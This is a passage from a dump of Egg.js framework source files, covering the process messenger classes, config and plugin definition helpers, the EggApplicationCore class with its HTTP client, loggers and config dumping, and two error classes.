  * send message to agent\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendToAgent(action: string, data?: unknown): Messenger {\n    debug('[%s:%s] send %s with %j to all agent', this.egg.type, this.pid, action, data);\n    this.send(action, data, 'agent');\n    return this;\n  }\n\n  /**\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @param {String} to - let master know how to send message\n   * @return {Messenger} this\n   */\n  send(action: string, data: unknown | undefined, to?: string): Messenger {\n    debug('send message %s with %j to %s', action, data, to);\n    this.#sendMessage({\n      action,\n      data,\n      to,\n    });\n    return this;\n  }\n\n  #sendMessage(message: any): void {\n    debug('[%s:%s] send message %j, mode: %s', this.egg.type, this.pid, message, this.egg.options.mode);\n    sendmessage(process, message);\n  }\n\n  onMessage(message: any): void {\n    if (typeof message?.action === 'string') {\n      debug(\n        '[%s:%s] got message %s with %j, receiverWorkerId: %s',\n        this.egg.type,\n        this.pid,\n        message.action,\n        message.data,\n        message.receiverWorkerId ?? message.receiverPid,\n      );\n      this.emit(message.action, message.data);\n    } else {\n      if (message?.type === 'Buffer') {\n        // {\"type\":\"Buffer\",\"data\":[255,153,....]\n        debug('[%s:%s] got an invalid message: %s', this.egg.type, this.pid, Buffer.from(message.data));\n      } else {\n        debug('[%s:%s] got an invalid message %j', this.egg.type, this.pid, message);\n      }\n    }\n  }\n\n  close(): void {\n    process.removeListener('message', this.onMessage);\n    this.removeAllListeners();\n  }\n\n  /**\n   * @function Messenger#on\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   */\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/messenger/local.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport type { EggApplicationCore } from '../../egg.ts';\nimport { BaseMessenger } from './base.ts';\nimport type { IMessenger } from './IMessenger.ts';\n\nconst debug = debuglog('egg/lib/core/messenger/local');\n\n/**\n * Communication between app worker and agent worker with EventEmitter\n */\nexport class Messenger extends BaseMessenger implements IMessenger {\n  readonly pid: string;\n\n  constructor(egg: EggApplicationCore) {\n    super(egg);\n    this.pid = String(process.pid);\n  }\n\n  /**\n   * Send message to all agent and app\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  broadcast(action: string, data?: unknown): Messenger {\n    debug('[%s:%s] broadcast %s with %j', this.egg.type, this.pid, action, data);\n    this.send(action, data, 'both');\n    return this;\n  }\n\n  /**\n   * send message to the specified process\n   * Notice: in single process mode, it only can send to self process,\n   * and it will send to both agent and app's messengers.\n   * @param {String} workerId - the workerId of the receiver\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendTo(workerId: string, action: string, data?: unknown): Messenger {\n    debug('[%s:%s] send %s with %j to %s', this.egg.type, this.pid, action, data, workerId);\n    if (String(workerId) !== this.pid) {\n      return this;\n    }\n    this.send(action, data, 'both');\n    return this;\n  }\n\n  /**\n   * send message to one worker by random\n   * Notice: in single process mode, we only start one agent worker and one app worker\n   * - if it's running in agent, it will send to one of app workers\n   * - if it's running in app, it will send to agent\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendRandom(action: string, data?: unknown): Messenger {\n    debug('[%s:%s] send %s with %o to opposite', this.egg.type, this.pid, action, data);\n    this.send(action, data, 'opposite');\n    return this;\n  }\n\n  /**\n   * send message to app\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendToApp(action: string, data?: unknown): Messenger {\n    debug('[%s:%s] send %s with %o to all app', this.egg.type, this.pid, action, data);\n    this.send(action, data, 'application');\n    return this;\n  }\n\n  /**\n   * send message to agent\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendToAgent(action: string, data?: unknown): Messenger {\n    debug('[%s:%s] send %s with %o to all agent', this.egg.type, this.pid, action, data);\n    this.send(action, data, 'agent');\n    return this;\n  }\n\n  /**\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @param {String} to - let master know how to send message\n   * @return {Messenger} this\n   */\n  send(action: string, data: unknown, to?: string): Messenger {\n    if (to === 'app') {\n      // alias app to application\n      to = 'application';\n    }\n    // use nextTick to keep it async as IPC messenger\n    process.nextTick(() => {\n      const { egg } = this;\n      let application;\n      let agent;\n      let opposite;\n\n      if (egg.type === 'application') {\n        application = egg;\n        agent = egg.agent;\n        opposite = agent;\n      } else {\n        agent = egg;\n        application = egg.application;\n        opposite = application;\n      }\n      if (!to) {\n        to = egg.type === 'application' ? 'agent' : 'application';\n      }\n      debug('[%s:%s] send action:%s with %o to %s', this.egg.type, this.pid, action, data, to);\n\n      if (application && application.messenger && (to === 'application' || to === 'both')) {\n        application.messenger.onMessage({ action, data });\n      }\n      if (agent && agent.messenger && (to === 'agent' || to === 'both')) {\n        agent.messenger.onMessage({ action, data });\n      }\n      if (opposite && opposite.messenger && to === 'opposite') {\n        opposite.messenger.onMessage({ action, data });\n      }\n    });\n\n    return this;\n  }\n\n  onMessage(message: any): void {\n    if (typeof message?.action === 'string') {\n      debug('[%s:%s] got message %s with %j', this.egg.type, this.pid, message.action, message.data);\n      this.emit(message.action, message.data);\n    } else {\n      debug('[%s:%s] got an invalid message %j', this.egg.type, this.pid, message);\n    }\n  }\n\n  close(): void {\n    this.removeAllListeners();\n  }\n\n  /**\n   * @function Messenger#on\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   */\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/utils.ts",
    "content": "import util from 'node:util';\n\nimport { isSymbol, isRegExp, isPrimitive, isClass, isFunction, isGeneratorFunction, isAsyncFunction } from 'is-type-of';\n\nexport function convertObject(obj: any, ignore: string | RegExp | (string | RegExp)[] = []): any {\n  if (!Array.isArray(ignore)) {\n    ignore = [ignore];\n  }\n  for (const key of Object.keys(obj)) {\n    obj[key] = convertValue(key, obj[key], ignore);\n  }\n  return obj;\n}\n\nfunction convertValue(key: string, value: any, ignore: (string | RegExp)[]) {\n  if (value === null || value === undefined) {\n    return value;\n  }\n\n  let hit = false;\n  for (const matchKey of ignore) {\n    if (typeof matchKey === 'string' && matchKey === key) {\n      hit = true;\n      break;\n    } else if (isRegExp(matchKey) && matchKey.test(key)) {\n      hit = true;\n      break;\n    }\n  }\n  if (!hit) {\n    if (isSymbol(value) || isRegExp(value) || value instanceof URL) {\n      return value.toString();\n    }\n    if (isPrimitive(value) || Array.isArray(value)) {\n      return value;\n    }\n  }\n\n  // only convert recursively when it's a plain object,\n  // o = {}\n  if (Object.getPrototypeOf(value) === Object.prototype) {\n    return convertObject(value, ignore);\n  }\n\n  // support class\n  const name = value.name || 'anonymous';\n  if (isClass(value)) {\n    return `<Class ${name}>`;\n  }\n\n  // support generator function\n  if (isFunction(value)) {\n    if (isGeneratorFunction(value)) return `<GeneratorFunction ${name}>`;\n    if (isAsyncFunction(value)) return `<AsyncFunction ${name}>`;\n    return `<Function ${name}>`;\n  }\n\n  const typeName = value.constructor.name;\n  if (typeName) {\n    if (Buffer.isBuffer(value) || typeof value === 'string') {\n      return `<${typeName} len: ${value.length}>`;\n    }\n    return `<${typeName}>`;\n  }\n\n  return util.format(value);\n}\n\nexport function safeParseURL(url: string): URL | null {\n  try {\n    return new URL(url);\n  } catch {\n    return null;\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/define.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport type { PartialDeep } from 'type-fest';\n\nimport type { EggAppConfig, EggAppInfo, EggEnvType } from './types.ts';\n\n/**\n * Partial EggAppConfig\n */\nexport type PartialEggConfig = PartialDeep<EggAppConfig>;\n\n/**\n * Configuration factory function return type\n */\nexport type EggConfigFactory = (appInfo: EggAppInfo) => PartialEggConfig;\n\n/**\n * Define configuration with type safety\n * @example\n * ```ts\n * import { defineConfig } from 'egg';\n *\n * export default defineConfig({\n *   keys: 'my-keys',\n *   middleware: []\n * });\n * ```\n */\nexport function defineConfig(config: PartialEggConfig): PartialEggConfig {\n  return config;\n}\n\n/**\n * Define configuration factory function with type safety\n * @example\n * ```ts\n * export default defineConfigFactory((appInfo): PartialEggConfig => ({\n *   keys: appInfo.name + '_keys',\n *   middleware: []\n * }));\n * ```\n */\nexport function defineConfigFactory(configFactory: EggConfigFactory): EggConfigFactory {\n  return configFactory;\n}\n\n/**\n * Define plugin meta with type safety\n */\nexport interface EggPluginMeta {\n  /** the plugin name, it can be used in `dep` */\n  name: string;\n  /** whether enabled */\n  enable: boolean;\n  /** the directory of the plugin package */\n  path: string;\n  /** the dependent plugins, you can use the plugin name */\n  dependencies?: string[];\n  /** the optional dependent plugins. */\n  optionalDependencies?: string[];\n  /** specify the serverEnv that only enable the plugin in it, default to all envs */\n  env?: EggEnvType[];\n}\n\n/**\n * Egg plugin options, user can't provide name, it will be generated by the plugin factory.\n */\nexport type EggPluginOptions = PartialDeep<Omit<EggPluginMeta, 'name'>>;\n\n/**\n * Egg plugin factory type, the return value is a record of plugin name and plugin meta.\n */\nexport type EggPluginFactory = (options?: EggPluginOptions) => Record<string, EggPluginMeta>;\n\n/**\n * Define plugin factory with type safety\n * @example\n * ```ts\n * import { definePluginFactory } from 'egg';\n *\n * export default definePluginFactory({\n *   name: 'my-plugin',\n *   enable: true,\n *   path: 'path/to/my-plugin',\n *   dependencies: ['watcher'],\n *   optionalDependencies: ['view'],\n *   env: ['local', 'unittest'],\n * });\n * ```\n */\nexport function definePluginFactory(pluginMeta: EggPluginMeta): EggPluginFactory {\n  assert(pluginMeta.name, 'plugin name is required');\n  assert(pluginMeta.path, 'plugin path is required');\n  return (options?: EggPluginOptions) => ({\n    [pluginMeta.name]: {\n      ...pluginMeta,\n      ...options,\n      name: pluginMeta.name,\n      // skip merge `eggPlugin` field from package.json\n      skipMerge: true,\n    },\n  });\n}\n"
  },
  {
    "path": "packages/egg/src/lib/egg.ts",
    "content": "import assert from 'node:assert';\nimport type { AsyncLocalStorage } from 'node:async_hooks';\nimport fs from 'node:fs';\nimport http, { type IncomingMessage, type ServerResponse } from 'node:http';\nimport inspector from 'node:inspector';\nimport path from 'node:path';\nimport { performance } from 'node:perf_hooks';\n\nimport { Cookies as ContextCookies } from '@eggjs/cookies';\nimport { EggCore, Router } from '@eggjs/core';\nimport type { EggCoreOptions, Next, MiddlewareFunc as EggCoreMiddlewareFunc, ILifecycleBoot } from '@eggjs/core';\nimport { utils as eggUtils } from '@eggjs/core';\nimport { extend } from '@eggjs/extend2';\n// @ts-expect-error no types for circular-json-for-egg\nimport CircularJSON from 'circular-json-for-egg';\n// @ts-expect-error no types for 'cluster-client'\nimport createClusterClient, { close as closeClusterClient } from 'cluster-client';\nimport { EggContextLogger as ContextLogger, EggLoggers, EggLogger } from 'egg-logger';\n\nimport Context from '../app/extend/context.ts';\nimport Request from '../app/extend/request.ts';\nimport Response from '../app/extend/response.ts';\nimport type { Agent } from './agent.ts';\nimport type { Application } from './application.ts';\nimport { BaseContextClass } from './core/base_context_class.ts';\nimport { BaseHookClass } from './core/base_hook_class.ts';\nimport { ContextHttpClient } from './core/context_httpclient.ts';\nimport {\n  HttpClient,\n  type HttpClientRequestOptions,\n  type HttpClientRequestURL,\n  type HttpClientResponse,\n  type HttpClientOptions,\n} from './core/httpclient.ts';\nimport { createLoggers } from './core/logger.ts';\nimport { create as createMessenger, type IMessenger } from './core/messenger/index.ts';\nimport { convertObject } from './core/utils.ts';\nimport type { EggApplicationLoader } from './loader/index.ts';\nimport type { EggAppConfig } from './types.ts';\n\nexport interface EggApplicationCoreOptions extends Omit<EggCoreOptions, 'baseDir'> {\n  mode?: 'cluster' | 'single';\n  clusterPort?: number;\n  baseDir?: string;\n}\n\nexport { Request, Response };\n\n// export egg types\nexport type {\n  ILifecycleBoot,\n  // keep compatible with egg version 3.x\n  ILifecycleBoot as IBoot,\n  Next,\n};\n// keep compatible with egg version 3.x\nexport type EggContext = Context;\nexport type MiddlewareFunc<T extends Context = Context> = EggCoreMiddlewareFunc<T>;\n\n// export egg classes\nexport { Context, Router };\n\n/**\n * Based on koa's Application\n * @see https://github.com/eggjs/egg-core\n * @see https://github.com/eggjs/koa/blob/master/src/application.ts\n * @augments EggCore\n */\nexport class EggApplicationCore extends EggCore {\n  declare ctxStorage: AsyncLocalStorage<Context>;\n\n  /**\n   * Get the current request context from AsyncLocalStorage.\n   * This provides access to the context object for the current request lifecycle.\n   * @returns {Context | undefined} The current request context, or undefined if not in a request scope.\n   */\n  get currentContext(): Context | undefined {\n    return this.ctxStorage.getStore();\n  }\n\n  // export context base classes, let framework can impl sub class and over context extend easily.\n  ContextCookies: typeof ContextCookies = ContextCookies;\n  ContextLogger: typeof ContextLogger = ContextLogger;\n  ContextHttpClient: typeof ContextHttpClient = ContextHttpClient;\n  HttpClient: typeof HttpClient = HttpClient;\n  // keep compatible with egg version 3.x\n  HttpClientNext: typeof HttpClient = HttpClient;\n  /**\n   * Retrieve base context class\n   * @member {BaseContextClass} BaseContextClass\n   * @since 1.0.0\n   */\n  BaseContextClass: typeof BaseContextClass = BaseContextClass;\n\n  /**\n   * Retrieve base controller\n   * @member {Controller} Controller\n   * @since 1.0.0\n   */\n  Controller: typeof BaseContextClass = BaseContextClass;\n\n  /**\n   * Retrieve base service\n   * @member {Service} Service\n   * @since 1.0.0\n   */\n  Service: typeof BaseContextClass = BaseContextClass;\n\n  /**\n   * Retrieve base subscription\n   * @member {Subscription} Subscription\n   * @since 2.12.0\n   */\n  Subscription: typeof BaseContextClass = BaseContextClass;\n\n  /**\n   * Retrieve base context class\n   * @member {BaseHookClass} BaseHookClass\n   */\n  BaseHookClass: typeof BaseHookClass = BaseHookClass;\n\n  /**\n   * Retrieve base boot\n   * @member {Boot}\n   * @alias BaseHookClass\n   */\n  Boot: typeof BaseHookClass = BaseHookClass;\n\n  declare options: Required<EggApplicationCoreOptions>;\n\n  #httpClient?: HttpClient;\n  #loggers?: EggLoggers;\n  #clusterClients: any[] = [];\n\n  readonly messenger: IMessenger;\n  agent?: Agent;\n  application?: Application;\n  declare loader: EggApplicationLoader;\n\n  /**\n   * @class\n   * @param {Object} options\n   *  - {Object} [type] - type of instance, Agent and Application both extend koa, type can determine what it is.\n   *  - {String} [baseDir] - app root dir, default is `process.cwd()`\n   *  - {Object} [plugins] - custom plugin config, use it in unittest\n   *  - {String} [mode] - process mode, can be cluster / single, default is `cluster`\n   */\n  constructor(options?: EggApplicationCoreOptions) {\n    options = {\n      mode: 'cluster',\n      type: 'application',\n      baseDir: process.cwd(),\n      ...options,\n    };\n    super(options);\n    /**\n     * messenger instance\n     * @member {Messenger}\n     * @since 1.0.0\n     */\n    this.messenger = createMessenger(this);\n\n    // trigger `serverDidReady` hook when all the app workers\n    // and agent worker are ready\n    this.messenger.once('egg-ready', () => {\n      this.lifecycle.triggerServerDidReady();\n    });\n    this.lifecycle.registerBeforeStart(async () => {\n      await this.load();\n    }, 'load files');\n  }\n\n  /**\n   * @deprecated please use `options` property instead\n   */\n  get _options(): Required<EggApplicationCoreOptions> {\n    return this.options;\n  }\n\n  protected async loadConfig(): Promise<void> {\n    await this.loader.loadConfig();\n  }\n\n  protected async load(): Promise<void> {\n    await this.loadConfig();\n    // dump config after ready, ensure all the modifications during start will be recorded\n    // make sure dumpConfig is the last ready callback\n    this.ready(() =>\n      process.nextTick(() => {\n        const dumpStartTime = Date.now();\n        this.dumpConfig();\n        this.dumpTiming();\n        this.coreLogger.info('[egg] dump config after ready, %sms', Date.now() - dumpStartTime);\n      }),\n    );\n    this.#setupTimeoutTimer();\n\n    this.console.info('[egg] App root: %s', this.baseDir);\n    this.console.info('[egg] All *.log files save on %j', this.config.logger.dir);\n    assert(this.config.logger.dir, 'logger.dir is required');\n    this.console.info('[egg] Loaded enabled plugin %j', this.loader.orderPlugins);\n\n    // Listen the error that promise had not catch, then log it in common-error\n    this._unhandledRejectionHandler = this._unhandledRejectionHandler.bind(this);\n    process.on('unhandledRejection', this._unhandledRejectionHandler);\n\n    // register close function\n    this.lifecycle.registerBeforeClose(async () => {\n      // close all cluster clients\n      for (const clusterClient of this.#clusterClients) {\n        await closeClusterClient(clusterClient);\n      }\n      this.#clusterClients = [];\n\n      // single process mode will close agent before app close\n      if (this.type === 'application' && this.options.mode === 'single') {\n        await this.agent!.close();\n      }\n\n      for (const logger of this.loggers.values()) {\n        logger.close();\n      }\n      this.messenger.close();\n      process.removeListener('unhandledRejection', this._unhandledRejectionHandler);\n    });\n\n    await this.loader.load();\n  }\n\n  /**\n   * Usage: new ApiClient({ cluster: app.cluster })\n   */\n  get cluster(): (clientClass: unknown, options?: object) => any {\n    return this.clusterWrapper.bind(this);\n  }\n\n  /**\n   * Wrap the Client with Leader/Follower Pattern\n   *\n   * @description almost the same as Agent.cluster API, the only different is that this method create Follower.\n   *\n   * @see https://github.com/node-modules/cluster-client\n   * @param {Function} clientClass - client class function\n   * @param {Object} [options]\n   *   - {Boolean} [autoGenerate] - whether generate delegate rule automatically, default is true\n   *   - {Function} [formatKey] - a method to transform the subscription info into a string，default is JSON.stringify\n   *   - {Object} [transcode|JSON.stringify/parse]\n   *     - {Function} encode - custom serialize method\n   *     - {Function} decode - custom deserialize method\n   *   - {Boolean} [isBroadcast] - whether broadcast subscription result to all followers or just one, default is true\n   *   - {Number} [responseTimeout] - response timeout, default is 3 seconds\n   *   - {Number} [maxWaitTime|30000] - leader startup max time, default is 30 seconds\n   * @return {ClientWrapper} wrapper\n   */\n  clusterWrapper(clientClass: unknown, options?: object): any {\n    const clientClassOptions = {\n      ...this.config.clusterClient,\n      ...options,\n      singleMode: this.options.mode === 'single',\n      // cluster need a port that can't conflict on the environment\n      port: this.options.clusterPort,\n      // agent worker is leader, app workers are follower\n      isLeader: this.type === 'agent',\n      logger: this.coreLogger,\n      // debug mode does not check heartbeat\n      isCheckHeartbeat: this.config.env === 'prod' ? true : inspector.url() === undefined,\n    };\n    const client = createClusterClient(clientClass, clientClassOptions);\n    this.#patchClusterClient(client);\n    return client;\n  }\n\n  /**\n   * print the information when console.log(app)\n   * @return {Object} inspected app.\n   * @since 1.0.0\n   * @example\n   * ```js\n   * console.log(app);\n   * =>\n   * {\n   *   name: 'mock-app',\n   *   env: 'test',\n   *   subdomainOffset: 2,\n   *   config: '<egg config>',\n   *   controller: '<egg controller>',\n   *   service: '<egg service>',\n   *   middlewares: '<egg middlewares>',\n   *   urllib: '<egg urllib>',\n   *   loggers: '<egg loggers>'\n   * }\n   * ```\n   */\n  inspect(): any {\n    const res = {\n      env: this.config.env,\n    };\n\n    function delegate(res: any, app: any, keys: string[]) {\n      for (const key of keys) {\n        if (app[key]) {\n          res[key] = app[key];\n        }\n      }\n    }\n\n    function abbr(res: any, app: any, keys: string[]) {\n      for (const key of keys) {\n        if (app[key]) {\n          res[key] = `<egg ${key}>`;\n        }\n      }\n    }\n\n    delegate(res, this, ['name', 'baseDir', 'subdomainOffset']);\n\n    abbr(res, this, ['config', 'controller', 'httpclient', 'loggers', 'middlewares', 'router', 'serviceClasses']);\n\n    return res;\n  }\n\n  toJSON(): any {\n    return this.inspect();\n  }\n\n  /**\n   * http request helper base on {@link httpclient}, it will auto save httpclient log.\n   * Keep the same api with `httpclient.request(url, args)`.\n   *\n   * See https://github.com/node-modules/urllib#api-doc for more details.\n   *\n   * @param {String} url request url address.\n   * @param {Object} options\n   * - method {String} - Request method, defaults to GET. Could be GET, POST, DELETE or PUT. Alias 'type'.\n   * - data {Object} - Data to be sent. Will be stringify automatically.\n   * - dataType {String} - String - Type of response data. Could be `text` or `json`.\n   *   If it's `text`, the callback data would be a String.\n   *   If it's `json`, the data of callback would be a parsed JSON Object.\n   *   Default callback data would be a Buffer.\n   * - headers {Object} - Request headers.\n   * - timeout {Number} - Request timeout in milliseconds. Defaults to exports.TIMEOUT.\n   *   Include remote server connecting timeout and response timeout.\n   *   When timeout happen, will return ConnectionTimeout or ResponseTimeout.\n   * - auth {String} - `username:password` used in HTTP Basic Authorization.\n   * - followRedirect {Boolean} - follow HTTP 3xx responses as redirects. defaults to false.\n   * - gzip {Boolean} - let you get the res object when request connected, default false. alias customResponse\n   * - nestedQuerystring {Boolean} - urllib default use querystring to stringify form data which don't\n   *   support nested object, will use qs instead of querystring to support nested object by set this option to true.\n   * - more options see https://github.com/node-modules/urllib\n   * @return {Object}\n   * - status {Number} - HTTP response status\n   * - headers {Object} - HTTP response headers\n   * - res {Object} - HTTP response meta\n   * - data {Object} - HTTP response body\n   *\n   * @example\n   * ```js\n   * const result = await app.curl('http://example.com/foo.json', {\n   *   method: 'GET',\n   *   dataType: 'json',\n   * });\n   * console.log(result.status, result.headers, result.data);\n   * ```\n   */\n  async curl<T = any>(url: HttpClientRequestURL, options?: HttpClientRequestOptions): Promise<HttpClientResponse<T>> {\n    return await this.httpClient.request<T>(url, options);\n  }\n\n  /**\n   * Create a new HttpClient instance with custom options\n   * @param {Object} [options] HttpClient init options\n   */\n  createHttpClient(options?: HttpClientOptions): HttpClient {\n    return new this.HttpClient(this, options);\n  }\n\n  /**\n   * HttpClient instance\n   * @see https://github.com/node-modules/urllib\n   * @member {HttpClient}\n   */\n  get httpClient(): HttpClient {\n    if (!this.#httpClient) {\n      this.#httpClient = this.createHttpClient();\n    }\n    return this.#httpClient;\n  }\n\n  /**\n   * @deprecated please use httpClient instead\n   * @alias httpClient\n   * @member {HttpClient}\n   */\n  get httpclient(): HttpClient {\n    return this.httpClient;\n  }\n\n  /**\n   * All loggers contain logger, coreLogger and customLogger\n   * @member {Object}\n   * @since 1.0.0\n   */\n  get loggers(): EggLoggers {\n    if (!this.#loggers) {\n      this.#loggers = createLoggers(this);\n    }\n    return this.#loggers;\n  }\n\n  /**\n   * Get logger by name, it's equal to app.loggers['name'],\n   * but you can extend it with your own logical.\n   * @param {String} name - logger name\n   * @return {Logger} logger\n   */\n  getLogger(name: string): EggLogger {\n    return this.loggers[name] || null;\n  }\n\n  /**\n   * application logger, log file is `$HOME/logs/{appname}/{appname}-web`\n   * @member {Logger}\n   * @since 1.0.0\n   */\n  get logger(): EggLogger {\n    return this.getLogger('logger');\n  }\n\n  /**\n   * core logger for framework and plugins, log file is `$HOME/logs/{appname}/egg-web`\n   * @member {Logger}\n   * @since 1.0.0\n   */\n  get coreLogger(): EggLogger {\n    return this.getLogger('coreLogger');\n  }\n\n  _unhandledRejectionHandler(err: any): void {\n    this.coreLogger.error('[egg:unhandledRejection] %s', (err && err.message) || err);\n    if (!(err instanceof Error)) {\n      const newError = new Error(String(err));\n      // err maybe an object, try to copy the name, message and stack to the new error instance\n      if (err) {\n        if (err.name) newError.name = err.name;\n        if (err.message) newError.message = err.message;\n        if (err.stack) newError.stack = err.stack;\n      }\n      err = newError;\n    }\n    if (err.name === 'Error') {\n      err.name = 'unhandledRejectionError';\n    }\n    this.coreLogger.error(err);\n  }\n\n  /**\n   * dump out the config and meta object\n   * @private\n   */\n  dumpConfigToObject(): { config: any; meta: any } {\n    let ignoreList: (string | RegExp)[];\n    try {\n      // support array and set\n      ignoreList = Array.from(this.config.dump.ignore);\n    } catch {\n      ignoreList = [];\n    }\n    const config = extend(\n      true,\n      {},\n      {\n        config: this.config,\n        plugins: this.loader.allPlugins,\n        appInfo: this.loader.appInfo,\n      },\n    );\n    convertObject(config, ignoreList);\n    return {\n      config,\n      meta: this.loader.configMeta,\n    };\n  }\n\n  /**\n   * save app.config to `run/${type}_config.json`\n   * @private\n   */\n  dumpConfig(): void {\n    const rundir = this.config.rundir;\n    try {\n      if (!fs.existsSync(rundir)) {\n        fs.mkdirSync(rundir);\n      }\n\n      // get dumped object\n      const { config, meta } = this.dumpConfigToObject();\n\n      // dump config\n      const dumpFile = path.join(rundir, `${this.type}_config.json`);\n      fs.writeFileSync(dumpFile, CircularJSON.stringify(config, null, 2));\n\n      // dump config meta\n      const dumpMetaFile = path.join(rundir, `${this.type}_config_meta.json`);\n      fs.writeFileSync(dumpMetaFile, CircularJSON.stringify(meta, null, 2));\n    } catch (err: any) {\n      this.coreLogger.warn(`[egg] dumpConfig error: ${err.message}`);\n    }\n  }\n\n  dumpTiming(): void {\n    try {\n      const items = this.timing.toJSON();\n      const rundir = this.config.rundir;\n      const dumpFile = path.join(rundir, `${this.type}_timing_${process.pid}.json`);\n      fs.writeFileSync(dumpFile, CircularJSON.stringify(items, null, 2));\n      this.coreLogger.info(this.timing.toString());\n      // only disable, not clear bootstrap timing data.\n      this.timing.disable();\n      // show duration >= ${slowBootActionMinDuration}ms action to warning log\n      for (const item of items) {\n        // ignore #0 name: Process Start\n        if (item.index > 0 && item.duration && item.duration >= this.config.dump.timing.slowBootActionMinDuration) {\n          this.coreLogger.warn(\n            '[egg][dumpTiming][slow-boot-action] #%d %dms, name: %s',\n            item.index,\n            item.duration,\n            item.name,\n          );\n        }\n      }\n    } catch (err: any) {\n      this.coreLogger.warn(`[egg] dumpTiming error: ${err.message}`);\n    }\n  }\n\n  protected override customEggPaths(): string[] {\n    return [path.dirname(import.meta.dirname), ...super.customEggPaths()];\n  }\n\n  #setupTimeoutTimer(): void {\n    const startTimeoutTimer = setTimeout(() => {\n      this.coreLogger.error(this.timing.toString());\n      this.coreLogger.error(`${this.type} still doesn't ready after ${this.config.workerStartTimeout} ms.`);\n      // log unfinished\n      const items = this.timing.toJSON();\n      for (const item of items) {\n        if (item.end) continue;\n        this.coreLogger.error(`unfinished timing item: ${CircularJSON.stringify(item)}`);\n      }\n      this.coreLogger.error(\n        '[egg][setupTimeoutTimer] check run/%s_timing_%s.json for more details.',\n        this.type,\n        process.pid,\n      );\n      this.emit('startTimeout');\n      this.dumpConfig();\n      this.dumpTiming();\n    }, this.config.workerStartTimeout);\n    this.ready(() => clearTimeout(startTimeoutTimer));\n  }\n\n  get config() {\n    return super.config as EggAppConfig;\n  }\n\n  /**\n   * app.env delegate app.config.env\n   * @deprecated\n   */\n  get env(): string {\n    this.deprecate('please use app.config.env instead');\n    return this.config.env;\n  }\n  /* eslint no-empty-function: off */\n  set env(_: any) {}\n\n  /**\n   * app.proxy delegate app.config.proxy\n   * @deprecated\n   */\n  get proxy(): boolean {\n    // this.deprecate('please use app.config.proxy instead');\n    return this.config.proxy;\n  }\n  /* eslint no-empty-function: off */\n  set proxy(_: any) {}\n\n  #patchClusterClient(client: any): void {\n    const rawCreate = client.create;\n    client.create = (...args: any): any => {\n      const realClient = rawCreate.apply(client, args);\n      this.#clusterClients.push(realClient);\n      return realClient;\n    };\n  }\n\n  /**\n   * Create an anonymous context, the context isn't request level, so the request is mocked.\n   * then you can use context level API like `ctx.service`\n   * @member {String} EggApplication#createAnonymousContext\n   * @param {Request} [req] - if you want to mock request like querystring, you can pass an object to this function.\n   * @return {Context} context\n   */\n  createAnonymousContext(req?: any): EggContext {\n    const request: any = {\n      headers: {\n        host: '127.0.0.1',\n        'x-forwarded-for': '127.0.0.1',\n      },\n      query: {},\n      querystring: '',\n      host: '127.0.0.1',\n      hostname: '127.0.0.1',\n      protocol: 'http',\n      secure: 'false',\n      method: 'GET',\n      url: '/',\n      path: '/',\n      socket: {\n        remoteAddress: '127.0.0.1',\n        remotePort: 7001,\n      },\n    };\n    if (req) {\n      for (const key in req) {\n        if (key === 'headers' || key === 'query' || key === 'socket') {\n          Object.assign(request[key], req[key]);\n        } else {\n          request[key] = req[key];\n        }\n      }\n    }\n    const response = new http.ServerResponse(request);\n    return this.createContext(request, response);\n  }\n\n  /**\n   * Run async function in the anonymous context scope\n   * @see Context#runInAnonymousContextScope\n   * @param {Function} scope - the first args is an anonymous ctx, scope should be async function\n   * @param {Request} [req] - if you want to mock request like querystring, you can pass an object to this function.\n   */\n  async runInAnonymousContextScope<T = void>(scope: (ctx: Context) => Promise<T>, req?: unknown): Promise<T> {\n    const ctx = this.createAnonymousContext(req);\n    if (!scope.name) {\n      Reflect.set(scope, '_name', eggUtils.getCalleeFromStack(true));\n    }\n    return await this.ctxStorage.run(ctx, async () => {\n      return await scope(ctx);\n    });\n  }\n\n  /**\n   * Create egg context\n   * @function EggApplication#createContext\n   * @param  {Req} req - node native Request object\n   * @param  {Res} res - node native Response object\n   * @return {Context} context object\n   */\n  createContext(req: IncomingMessage, res: ServerResponse): Context {\n    const context = Object.create(this.context) as Context;\n    const request = (context.request = Object.create(this.request));\n    const response = (context.response = Object.create(this.response));\n    context.app = request.app = response.app = this as any;\n    context.req = request.req = response.req = req;\n    context.res = request.res = response.res = res;\n    request.ctx = response.ctx = context;\n    request.response = response;\n    response.request = request;\n    context.onerror = context.onerror.bind(context);\n    context.originalUrl = request.originalUrl = req.url as string;\n    context.starttime = Date.now();\n    context.performanceStarttime = performance.now();\n    return context;\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/error/CookieLimitExceedError.ts",
    "content": "export class CookieLimitExceedError extends Error {\n  key: string;\n  cookie: string;\n\n  constructor(key: string, cookie: string) {\n    super(`cookie ${key}'s length(${cookie.length}) exceed the limit(4093)`);\n    this.name = this.constructor.name;\n    this.key = key;\n    this.cookie = cookie;\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/error/MessageUnhandledRejectionError.ts",
    "content": "export class MessageUnhandledRejectionError extends Error {\n  event: string | symbol;\n  args: any[];\n\n  constructor(err: Error, event: string | symbol, ...args: any[]) {\n    super(`event: ${String(event)}, error: ${err.message}`, { cause: err });\n    this.name = this.constructor.name;\n    this.event = event;\n    this.args = args;\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/error/index.ts",
    "content": "export * from './CookieLimitExceedError.ts';\nexport * from './MessageUnhandledRejectionError.ts';\n"
  },
  {
    "path": "packages/egg/src/lib/loader/AgentWorkerLoader.ts",
